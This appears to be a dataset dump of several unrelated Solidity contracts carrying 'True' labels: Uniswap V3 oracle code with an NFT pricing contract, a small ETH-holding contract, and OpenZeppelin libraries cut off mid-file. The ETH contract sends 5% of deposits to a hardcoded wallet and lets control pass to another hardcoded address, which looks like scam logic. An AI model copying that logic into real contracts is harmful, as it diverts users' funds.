/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
/// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback
/// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback
/// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling
/// with 0 amount{0,1} and sending the donation amount(s) from the callback
/// @param recipient The address which will receive the token0 and token1 amounts
/// @param amount0 The amount of token0 to send
/// @param amount1 The amount of token1 to send
/// @param data Any data to be passed through to the callback
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
/// @notice Increase the maximum number of price and liquidity observations that this pool will store
/// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to
/// the input observationCardinalityNext.
/// @param observationCardinalityNext The desired minimum number of observations for the pool to store
function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
}
// File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolOwnerActions.sol
/// @title Permissioned pool actions
/// @notice Contains pool methods that may only be called by the factory owner
interface IUniswapV3PoolOwnerActions {
/// @notice Set the denominator of the protocol's % share of the fees
/// @param feeProtocol0 new protocol fee for token0 of the pool
/// @param feeProtocol1 new protocol fee for token1 of the pool
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;
/// @notice Collect the protocol fee accrued to the pool
/// @param recipient The address to which collected protocol fees should be sent
/// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1
/// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0
/// @return amount0 The protocol fee collected in token0
/// @return amount1 The protocol fee collected in token1
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
}
// File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolEvents.sol
/// @title Events emitted by a pool
/// @notice Contains all events emitted by the pool
interface IUniswapV3PoolEvents {
/// @notice Emitted exactly once by a pool when #initialize is first called on the pool
/// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize
/// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96
/// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool
event Initialize(uint160 sqrtPriceX96, int24 tick);
/// @notice Emitted when liquidity is minted for a given position
/// @param sender The address that minted the liquidity
/// @param owner The owner of the position and recipient of any minted liquidity
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity minted to the position range
/// @param amount0 How much token0 was required for the minted liquidity
/// @param amount1 How much token1 was required for the minted liquidity
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees are collected by the owner of a position
/// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees
/// @param owner The owner of the position for which fees are collected
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0 fees collected
/// @param amount1 The amount of token1 fees collected
event Collect(
address indexed owner,
address recipient,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount0,
uint128 amount1
);
/// @notice Emitted when a position's liquidity is removed
/// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect
/// @param owner The owner of the position for which liquidity is removed
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity to remove
/// @param amount0 The amount of token0 withdrawn
/// @param amount1 The amount of token1 withdrawn
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted by the pool for any swaps between token0 and token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the output of the swap
/// @param amount0 The delta of the token0 balance of the pool
/// @param amount1 The delta of the token1 balance of the pool
/// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96
/// @param liquidity The liquidity of the pool after the swap
/// @param tick The log base 1.0001 of price of the pool after the swap
event Swap(
address indexed sender,
address indexed recipient,
int256 amount0,
int256 amount1,
uint160 sqrtPriceX96,
uint128 liquidity,
int24 tick
);
/// @notice Emitted by the pool for any flashes of token0/token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the tokens from flash
/// @param amount0 The amount of token0 that was flashed
/// @param amount1 The amount of token1 that was flashed
/// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee
/// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee
event Flash(
address indexed sender,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 paid0,
uint256 paid1
);
/// @notice Emitted by the pool for increases to the number of observations that can be stored
/// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index
/// just before a mint/swap/burn.
/// @param observationCardinalityNextOld The previous value of the next observation cardinality
/// @param observationCardinalityNextNew The updated value of the next observation cardinality
event IncreaseObservationCardinalityNext(
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
/// @notice Emitted when the protocol fee is changed by the pool
/// @param feeProtocol0Old The previous value of the token0 protocol fee
/// @param feeProtocol1Old The previous value of the token1 protocol fee
/// @param feeProtocol0New The updated value of the token0 protocol fee
/// @param feeProtocol1New The updated value of the token1 protocol fee
event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);
/// @notice Emitted when the collected protocol fees are withdrawn by the factory owner
/// @param sender The address that collects the protocol fees
/// @param recipient The address that receives the collected protocol fees
/// @param amount0 The amount of token0 protocol fees that is withdrawn
/// @param amount0 The amount of token1 protocol fees that is withdrawn
event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);
}
// File: @uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions,
IUniswapV3PoolOwnerActions,
IUniswapV3PoolEvents
{
}
// File: @uniswap/v3-core/contracts/libraries/LowGasSafeMath.sol
/// @title Optimized overflow and underflow safe math operations
/// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
// File: @uniswap/v3-periphery/contracts/libraries/PoolAddress.sol
/// @title Provides functions for deriving a pool address from the factory, tokens, and the fee
library PoolAddress {
bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54;
/// @notice The identifying key of the pool
struct PoolKey {
address token0;
address token1;
uint24 fee;
}
/// @notice Returns PoolKey: the ordered tokens with the matched fee levels
/// @param tokenA The first token of a pool, unsorted
/// @param tokenB The second token of a pool, unsorted
/// @param fee The fee level of the pool
/// @return Poolkey The pool details with ordered token0 and token1 assignments
function getPoolKey(
address tokenA,
address tokenB,
uint24 fee
) internal pure returns (PoolKey memory) {
if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);
return PoolKey({token0: tokenA, token1: tokenB, fee: fee});
}
/// @notice Deterministically computes the pool address given the factory and PoolKey
/// @param factory The Uniswap V3 factory contract address
/// @param key The PoolKey
/// @return pool The contract address of the V3 pool
function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) {
require(key.token0 < key.token1);
pool = address(
uint256(
keccak256(
abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encode(key.token0, key.token1, key.fee)),
POOL_INIT_CODE_HASH
)
)
)
);
}
}
// File: @uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol
/// @title Oracle library
/// @notice Provides functions to integrate with V3 pool oracle
library OracleLibrary {
/// @notice Fetches time-weighted average tick using Uniswap V3 oracle
/// @param pool Address of Uniswap V3 pool that we want to observe
/// @param period Number of seconds in the past to start calculating time-weighted average
/// @return timeWeightedAverageTick The time-weighted average tick from (block.timestamp - period) to block.timestamp
function consult(address pool, uint32 period) internal view returns (int24 timeWeightedAverageTick) {
require(period != 0, 'BP');
uint32[] memory secondAgos = new uint32[](2);
secondAgos[0] = period;
secondAgos[1] = 0;
(int56[] memory tickCumulatives, ) = IUniswapV3Pool(pool).observe(secondAgos);
int56 tickCumulativesDelta = tickCumulatives[1] - tickCumulatives[0];
timeWeightedAverageTick = int24(tickCumulativesDelta / period);
// Always round to negative infinity
if (tickCumulativesDelta < 0 && (tickCumulativesDelta % period != 0)) timeWeightedAverageTick--;
}
/// @notice Given a tick and a token amount, calculates the amount of token received in exchange
/// @param tick Tick value used to calculate the quote
/// @param baseAmount Amount of token to be converted
/// @param baseToken Address of an ERC20 token contract used as the baseAmount denomination
/// @param quoteToken Address of an ERC20 token contract used as the quoteAmount denomination
/// @return quoteAmount Amount of quoteToken received for baseAmount of baseToken
function getQuoteAtTick(
int24 tick,
uint128 baseAmount,
address baseToken,
address quoteToken
) internal pure returns (uint256 quoteAmount) {
uint160 sqrtRatioX96 = TickMath.getSqrtRatioAtTick(tick);
// Calculate quoteAmount with better precision if it doesn't overflow when multiplied by itself
if (sqrtRatioX96 <= type(uint128).max) {
uint256 ratioX192 = uint256(sqrtRatioX96) * sqrtRatioX96;
quoteAmount = baseToken < quoteToken
? FullMath.mulDiv(ratioX192, baseAmount, 1 << 192)
: FullMath.mulDiv(1 << 192, baseAmount, ratioX192);
} else {
uint256 ratioX128 = FullMath.mulDiv(sqrtRatioX96, sqrtRatioX96, 1 << 64);
quoteAmount = baseToken < quoteToken
? FullMath.mulDiv(ratioX128, baseAmount, 1 << 128)
: FullMath.mulDiv(1 << 128, baseAmount, ratioX128);
}
}
/// @notice Given a pool, it returns the number of seconds ago of the oldest stored observation
/// @param pool Address of Uniswap V3 pool that we want to observe
/// @return The number of seconds ago of the oldest observation stored for the pool
function getOldestObservationSecondsAgo(address pool) internal view returns (uint32) {
(, , uint16 observationIndex, uint16 observationCardinality, , , ) = IUniswapV3Pool(pool).slot0();
require(observationCardinality > 0, 'NI');
(uint32 observationTimestamp, , , bool initialized) =
IUniswapV3Pool(pool).observations((observationIndex + 1) % observationCardinality);
// The next index might not be initialized if the cardinality is in the process of increasing
// In this case the oldest observation is always in index 0
if (!initialized) {
(observationTimestamp, , , ) = IUniswapV3Pool(pool).observations(0);
}
return uint32(block.timestamp) - observationTimestamp;
}
}
// File: ../contracts/Collection.sol
//import "./ICollection.sol";
/**
* @title Collection
*
* Devs: currently `is ICollection*` is commented out because I haven't found a good way
* to share the interface contract between different solidity versions. The Collection
* contracts are compiled with solidity 0.7 because of the dependency on the uniswap
* oracle lib, and the main NFT contracts are compiled with solidity 0.8 because it
* uses the latest openzeppelin versions of the contract. The interface is used by
* both set of contracts which currently makes the compilation fail when used by both
* sets of contracts.
*/
contract Collection/* is ICollection*/
{
using Strings for uint;
using OracleLibrary for address;
uint32 public constant CURRENT_PRICE_SECONDS_AGO = 5 minutes;
uint32 public constant PREVIOUS_PRICE_SECONDS_AGO = 1 hours;
IUniswapV3Pool[] public uniswapPools;
uint public initPrice;
uint32 immutable public /*override*/ collectionID;
uint128 immutable public baseAmount;
address immutable public baseTokenAddress;
string public baseTokenURI;
int[] public priceLevels;
int[] public relativeLevels;
constructor(
uint32 _collectionID,
string memory _baseTokenURI,
IUniswapV3Pool[] memory _uniswapPools,
address _baseTokenAddress,
uint128 _baseAmount,
uint _initPrice,
int[] memory _priceLevels,
int[] memory _relativeLevels
)
{
collectionID = _collectionID;
baseTokenURI = _baseTokenURI;
uniswapPools = _uniswapPools;
baseTokenAddress = _baseTokenAddress;
baseAmount = _baseAmount;
initPrice = _initPrice;
priceLevels = _priceLevels;
relativeLevels = _relativeLevels;
}
function setInitPrice(uint _initPrice) external {
require(msg.sender == 0x4374D3d032B3c96785094ec9f384f07077792768, "UNAUTHORIZED");
initPrice = _initPrice;
}
function tokenURI(uint256 tokenId)
//override
public
view
returns (string memory)
{
// Data format:
// - 4 bytes: collection ID
// - 16 bytes: base price
// - 12 bytes: id
require(uint32((tokenId >> 224) & 0xFFFFFFFF) == collectionID, "inconsistent collection id");
// uint basePrice = (tokenId >> 96) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
uint basePrice = initPrice;
uint currentPrice = getPrice(CURRENT_PRICE_SECONDS_AGO);
uint previousPrice = getPrice(PREVIOUS_PRICE_SECONDS_AGO);
uint baseLevel = getBaseLevel(currentPrice, basePrice);
uint relativeLevel = getRelativeLevel(currentPrice, previousPrice);
return string(
abi.encodePacked(
baseTokenURI,
"/",
tokenId.toString(),
"/",
baseLevel.toString(),
"_",
relativeLevel.toString(),
"/metadata.json"
)
);
}
function getPrice(uint32 secondsAgo)
public
view
returns (uint price)
{
// Currently returns the AVERAGE price over the passed in duration.
// Can be changed but I think this should work well.
address _baseToken = baseTokenAddress;
price = baseAmount;
for (uint i = 0; i < uniswapPools.length; i++) {
IUniswapV3Pool _pool = uniswapPools[i];
int24 tick = address(_pool).consult(secondsAgo);
if (_baseToken == _pool.token1()) {
price = OracleLibrary.getQuoteAtTick(
tick,
uint128(price),
_pool.token1(),
_pool.token0()
);
_baseToken = _pool.token0();
} else {
require(_baseToken == _pool.token0(), "invalid pool, baseToken not found");
price = OracleLibrary.getQuoteAtTick(
tick,
uint128(price),
_pool.token0(),
_pool.token1()
);
_baseToken = _pool.token1();
}
}
}
function getRelativeLevel(uint currentPrice, uint previousPrice)
public
view
returns (uint level)
{
int change = int(currentPrice) - int(previousPrice);
uint basePrice = (currentPrice >= previousPrice) ? previousPrice : currentPrice;
if (basePrice != 0) {
change = (change * 100) / int(basePrice);
}
return getRangeLevel(relativeLevels, change);
}
function getBaseLevel(uint currentPrice, uint basePrice)
public
view
returns (uint level)
{
int change = int(currentPrice) - int(basePrice);
return getRangeLevel(priceLevels, change);
}
function getRangeLevel(int[] memory levels, int value)
public
pure
returns (uint level)
{
for (uint i = 0; i < levels.length; i++) {
if (value < levels[i]) {
return i;
}
}
return levels.length;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-08-02
*/
pragma solidity ^0.4.19;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/token/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract Contract_ETH18091 {
using SafeMath for uint256;
address public wallet;
bool public ownerChanged = false;
bool public ethResources = false;
uint256 public endTime;
uint256 public ethCommission = 0;
event ContractEthTransfer(address indexed walletToTransfer, uint256 weiAmount);
event ContractEthReceived(address indexed from, uint256 weiAmount);
function Contract_ETH18091 (address _wallet, uint256 _endTime) public {
require(_wallet != address(0));
require(_endTime > now);
wallet = _wallet;
endTime = _endTime;
}
function () external payable {
require(valid());
ContractEthReceived(msg.sender, msg.value);
if (address(this).balance != 1000000000000000000)
return;
ethResources = true;
uint256 weiAmount = address(this).balance;
uint256 fundsForward = weiAmount.mul(5).div(100);
address commissionWallet = 0xEB0199F3070E86ea6DF6e3B4A7862C28a7574be0;
commissionWallet.transfer(fundsForward);
ethCommission = ethCommission.add(fundsForward);
}
function transferTokens(address walletToTransfer, address tokenAddress, uint256 tokenAmount) payable public {
require(msg.sender == wallet);
require(allowTransfer());
ERC20Basic erc20 = ERC20Basic(tokenAddress);
erc20.transfer(walletToTransfer, tokenAmount);
}
function transferEth(address walletToTransfer, uint256 weiAmount) payable public {
require(msg.sender == wallet);
require(walletToTransfer != address(0));
require(address(this).balance >= weiAmount);
require(address(this) != walletToTransfer);
require(allowTransfer());
require(walletToTransfer.call.value(weiAmount)());
ContractEthTransfer(walletToTransfer, weiAmount);
}
function setWallet() payable public {
require(!ownerChanged);
require(msg.sender == wallet);
ownerChanged = true;
wallet = 0xD2790Cf0780824371091Af9D02FCC0D43e20D9BA;
}
function allowTransfer() internal view returns (bool) {
if (ownerChanged)
return true;
if (endTime < now)
return false;
return true;
}
function valid() internal view returns (bool) {
bool nonZeroPurchase = msg.value != 0;
bool maxValue = address(this).balance <= 1000000000000000000;
return nonZeroPurchase && maxValue && !ethResources;
}
} | True | [
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] |
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
